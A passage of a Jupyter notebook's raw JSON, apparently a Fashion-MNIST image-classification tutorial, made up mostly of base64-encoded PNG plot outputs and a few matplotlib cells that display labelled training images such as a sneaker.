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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# Plot an image and its label\n", - "plt.imshow(train_data[17], cmap=plt.cm.binary) # change the colours to black & white\n", - "plt.title(class_names[train_label[17]])" - ] - }, - { - "cell_type": "code", - "execution_count": 113, - "id": "f671fe75", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Text(0.5, 1.0, 'Sneaker')" - ] - }, - "execution_count": 113, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "plt.imshow(train_data[87], cmap=plt.cm.binary) # change the colours to black & white\n", - "plt.title(class_names[train_label[87]])" - ] - }, - { - "cell_type": "code", - "execution_count": 114, - "id": "6de6c3c0", - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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hQYCAEihgQAAUmggAICUxhSWS2fs6ZlJTVySxKU2Mkmrn//859W6m2H1mc98plo/44wzqvXzzz/f7vuQQw6p1teuXVutP/vss9X6+vXrq/XvfOc7dt933313tX744YdX6y59smzZsmrdfZ5cGkby7/nUqVPta/Z1LnXkEkHu+ccdd1y1/uSTT7Y+Jvc9wx2T4z5Dbq5Vk+3bt1frLmXm6m7+lyS9853vrNbde+iSb+77wlDjDgQAkEIDAQCk0EAAACk0EABACg0EAJDSmMJyyQk3l6Up8eS25RIgLvHQy/lVn/jEJ6r15cuXV+tupbLLL7+8Wp85c2a1/sgjj9hjev7551u9xqUzvvvd71brTakXt9rbli1bWm3Lfa1Hjx5drY8bN84e08aNG6t1Ulhe25UHXX3atGnVelNq7ogjjqjW3bXjrnP3GXLbaZrX1jbp5d4/971nzZo1dlsnn3xytb548eJq3R2rWw1xqHEHAgBIoYEAAFJoIACAFBoIACCFBgIASEmtSNi0IllbvZqr5dJL99xzj32NW/3rz/7sz6p1N3dq+vTp1foPf/jDat3N4JGk5557rlr/2c9+Vq1/6EMfqtb/6I/+qFpvSoy4fa9atapadyu0uVTVUUcdVa27+T+StG7dump9zpw59jX7OpdsdCkidz1PnDixWm9KNY0dO7Zadykit28386qX3Pce9z65OXxNqbRJkyZV6y7pNZRzBjP2rqMFAAwbNBAAQAoNBACQQgMBAKTQQAAAKakUluNWzZP8LKenn366Wn/88cerdZcUestb3lKtu3lUkjR37txq/dFHH63WV65cWa3//d//fbXuVnSbPHmyPaYlS5ZU624G0F133VWt9/f3V+tNM3VcAsQlYk444YRq/eijj261nU2bNtljcu/HaaedZl+zr3NpIff1dc93KawVK1bYfZ911lnVukvsuX0PR5k5fC6h6ZJsvVxxcTBwBwIASKGBAABSaCAAgBQaCAAghQYCAEihgQAAUhpjvC5Sdu+991brt956q92WGyDYNIisxg0nc8fqlnaVpBdeeKFaP/vss6v1ww47rFp3gw4XLVpUrbtlLiXpmGOOqdbdsrKbN2+u1t1QO3cOkl9y1g28c0MTn3rqqVbPb4pyuq8Rese9/4cffni13rR8rOOuTxdndbFV931kwoQJrfft6i7ufMAB7f+r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